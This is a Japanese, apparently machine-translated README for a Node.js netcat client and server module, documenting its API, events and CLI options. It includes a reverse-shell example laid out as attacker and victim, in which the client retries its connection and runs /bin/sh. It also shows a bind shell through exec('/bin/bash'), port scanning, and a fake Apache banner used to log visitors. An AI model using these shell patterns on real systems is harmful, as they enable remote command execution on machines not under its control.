node.jsの純粋なjavascriptで記述されたNetcatクライアントおよびサーバーモジュール
すべての基本的なNetCatの機能を実装する完全にテストされたモジュール。スタンドアロンツールとして使用するには、NCパッケージをインストールします。
| Linux/Mac | Windows |
|---|---|
.auth('pass') )。 allowおよびdeny 。 $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) このモジュールのAPIは、元のNetCatのCLIパラメーションを可能な限り追跡する傾向があります。
たとえば、 nc -l -p 2389はnc.port(2389).listen()に相当します。簡単ですよね?
| サーバ | クライアント |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| サーバ | クライアント |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
または、 nc -l -p 2389 < filename.txtに相当することができ、他の誰かがポート2389に接続すると、ファイルが必要かどうかにかかわらず送信されます。
| サーバ | クライアント |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| サーバ | クライアント |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
サーバーは生存され、最初の接続後に閉じられていません。 ( k()はkeepalive()のエイリアスです
| サーバ | クライアント |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| サーバ | クライアント |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
exec()メソッドは、指定されたコマンドを実行し、クライアントsocketを使用して自分のstdoutとstderr一緒にパイプします。
| アタッカー | 被害者 |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCatは、プロキシサーバーとして非常に簡単に構成できます。
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) localhost:8080で流れるすべてのトラフィックは、 google.com:80にリダイレクトされます。同様に、同じホストを使用してポート転送をセットアップできます。
Apacheサーバーのふりをする:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) NetCatクライアントは、基本的なポートスキャン機能も提供します。
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} )ポートスキャナーはTCPプロトコルのみです。 UDPスキャンは実際には効果的ではありません。 scan(...)配列または整数番号も受け入れます。
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) NetCatサーバーとクライアントの両方がUNIXソケットコントをサポートしています。 NetCatクライアントインスタンスを使用して、Docker Unixソケットファイルに接続し、コンテナの画像のリストを取得しましょう。
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) hello Bufferをポート2100に送信し、 1000ミリ秒後にクライアントを閉じます。
port(int)またはp(int)Netcatは、既に使用されている特権制限とポートを条件として、ローカルポートにバインドできます。
address(host)またはaddr(host)0.0.0.0 。127.0.0.1デフォルトで。 listen()以前に設定されたポートでUDP/TCPサーバーを聞くようにします。
unixSocket(path) -TCPのみオプションで、Unix Sockファイルへのパスを提供し、それを聞く/接続できます。
connect() -TCPのみクライアント側のみ。以前に設定されたアドレスとポートにクライアントを接続します。
retry(ms) -TCPのみクライアント側のみ。接続を再試行するmsミリ秒ごとに、接続が失われたとき。
interval(ms)またはi(ms)クライアント側のみ:送信されたデータの遅延時間間隔を指定します。ミリ秒単位。
waitTime(ms)またはwait(ms)タイムアウトを設定します。
msミリ秒を待機し、より多くのデータを取得しない場合、接続を閉じます。msミリ秒を待機し、クライアントを送信するデータがこれ以上ない場合は閉じます。 stream()クライアントDuplexStreamリファレンスを返します。
pipe(outStream)クライアントから与えられたアウトストリームに着信データをパイプします。
filter(transformFn)配管される前に、指定された変換関数function (chunk, enc, cb){...}で着信データをフィルタリングします。
nb : .on('data', cb)取得したデータはフィルタリングされていません。フィルターは、配管された.pipe(...)ストリームにのみ適用されます。
既知の問題:現在のthrough2 、エンコーディングを尊重していません。フィルターを設定すると、バッファが取得され、 enc()メソッドは役に立たないでしょう。
serve()サーバー側の方法。
serveメソッドは、文字列(ファイル名を示し、ファイルが存在することを確認)、読み取り可能なストリーム、またはバッファのいずれかを受け入れます。読みやすいストリームを渡すと、キープライブメソッドが最初の要求でストリームを消費する可能性があり、これ以上提供することはできません(バッファでストリームはキャッシュされていません)。
さらに、ファイルまたはバッファーをソケットに提供する場合、パイプはソケットにend (EOF)イベントを発します。ストリームを閉じます。
send(data [, cb|host])クライアント側:
cbが呼び出されます。サーバー側:
serve()を使用してください。end(data) -TCPのみクライアント側の方法。指定されたデータを送信し、接続を閉じます。
close([cb])接続を閉じ(またはサーバー側に実行された場合は接続)、ソケットが閉じたらcbを呼び出します。
enc()エンコーディングを設定します。最も一般的なものは、 utf8 、 ascii 、 base64 、 hex 、 binary 、 hexです。
protocol(prot)カスタムプロトコルを設定します。この方法の使用は落胆します。代わりにtcp()とudp()メソッドを使用します。 tcpはデフォルト値です。
keepalive()またはk() -TCPのみサーバー側の方法。
KeepAliveを設定すると、サーバーが起き続け、場合によってはpipe(outStream)が開いたままになります。
デフォルトでは、UDPモードでは、明示的なnc.close()になるまでリスニングが生存されます。
exec() -TCPのみexec()メソッドは、指定されたコマンドを実行し、クライアントsocketを使用して自分のstdoutとstderr一緒にパイプします。オプションで、2番目のParamとして文字列とArgsの配列を3番目のParamとしてSpawn Optionsとして受け入れます。パイプcharが見つかった場合|その後、すべてのコマンドはsh -cの下で処理されます。
例:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() -TCPのみサーバー側の方法。すべてのクライアントソケット参照をリストするオブジェクトを返します。
proxy(duplexStream) -TCPのみサーバー側の方法。このメソッドは、サーバーを入力/今後のデータを提供したDuplexStreamにパイプします。それは、呼び出しの両方のショートカットのようなものです: .serve(duplexStream)と.pipe(duplexStream) 。
output(outStream)またはout(outStream)着信または今後のトラフィックのダンプを、与えられた執筆可能なストリームにoutStream 。
行は、デフォルトで少なくとも16バイトのチャンクを表します。
最初のキャラクターは、それぞれ「着信チャンク」または「今後のチャンク」の< >です。
scan(portsInterval, cb) -TCPのみNetCatクライアントは、基本的なポートスキャン機能も提供します。
パラメーターはマンデリリーです。最初のパラメーターは、スキャンするポート/sを指定します。単一の整数、文字列間隔( 22-80など)、または整数の配列( [22, 23, 1880] )にすることができます。その結果、コールバック{ '22': 'open', '23': 'closed' ... }などのオブジェクトを返します。
init() - udpのみconnect()のUDP等価。 UDPクライアントのためだけに。
bind(<int>) -UDPのみ特定のポートでUDPクライアント/サーバーをリッスンさせます。また、 .port(<n>)が呼び出されなかった場合、今後のポートとして使用されます。
broadcast(<dst>)またはb(<dst>) -UDPのみUDPサーバーのブロードキャストを設定します(最終的には、宛先アドレスを指定できます)。
destination(<dst>) -UDPのみ宛先アドレスを設定します。 ( 127.0.0.1はデフォルト値です)
loopback() - udpのみループバックを有効にします。たとえば、UDPサーバーがポートにバインドされ、そのポートにメッセージを送信すると、Loopbackが有効になっている場合にMSGを取り戻します。
bind(int) -UDPのみUDPサーバー/クライアントをバインドして、指定されたポートでリッスンし、ポートセットをport()で使用して、今後のパケットのみを使用します。
NetCatモジュールは、 EventEmitterクラスを拡張します。ソケットから直接イベントをキャッチできるようになります。たとえば、サーバーのdataイベント:
| サーバ | クライアント |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})サーバーがクライアントからデータを取得すると放出されます。
.on('ready', cb)サーバーがポートを正常にリッスン/バインドすると放出されます。
.on('close', cb)サーバーが閉じると放出されます。
.on('clientClose', function(socket, hadError){}) - tcpのみクライアントがサーバーから切断されたときに呼び出されます。コールバックは、 socketインスタンスが切断され、ブールヴァルハhadError 1番目に承認します。
.on('connection', function(socket){}) - tcpのみ新しいクライアントがサーバーに接続すると放出されます。
.on('end', function(socket){}) - TCPのみクライアントが接続を終了すると放出されます。
.on('timeout', function(socket){}) - TCPのみソケットタイムアウトイベント。
.on('waitTimeout', cb)指定されたwait(ms)時間の間、サーバーが非アクティブなままであるときに発射されます。
.on('error', function(err){})エラー時に放出されました。
.on('data', function(msg){})サーバーからのデータ。
.on('close', cb)クライアントが閉じたときに放出されました。
.on('waitTimeout', cb)指定されたwait(ms)時間の間、クライアントが非アクティブなままであるときに発射されます。
.on('connect', cb) -TCPのみクライアントがサーバーとの接続を確立したときに放出されました。
.on('error', function(err){})エラー時に放出されました。
スタンドアロンの使用には、NC CLIパッケージをインストールします。
$ npm install -g nc
例:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
利用可能なオプション:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning]デバッグは冗長モードと一致します。 verbose: true paramまたはenv var DEBUG=netcat:*で有効にすることができます
npm testでそれらを実行します
カバレッジ:
.serve(input)メソッドをテストします.pipe()およびserve()とのキープライブ接続をテストします。 exec()メソッドRocco Musolino(@roccomuso)
mit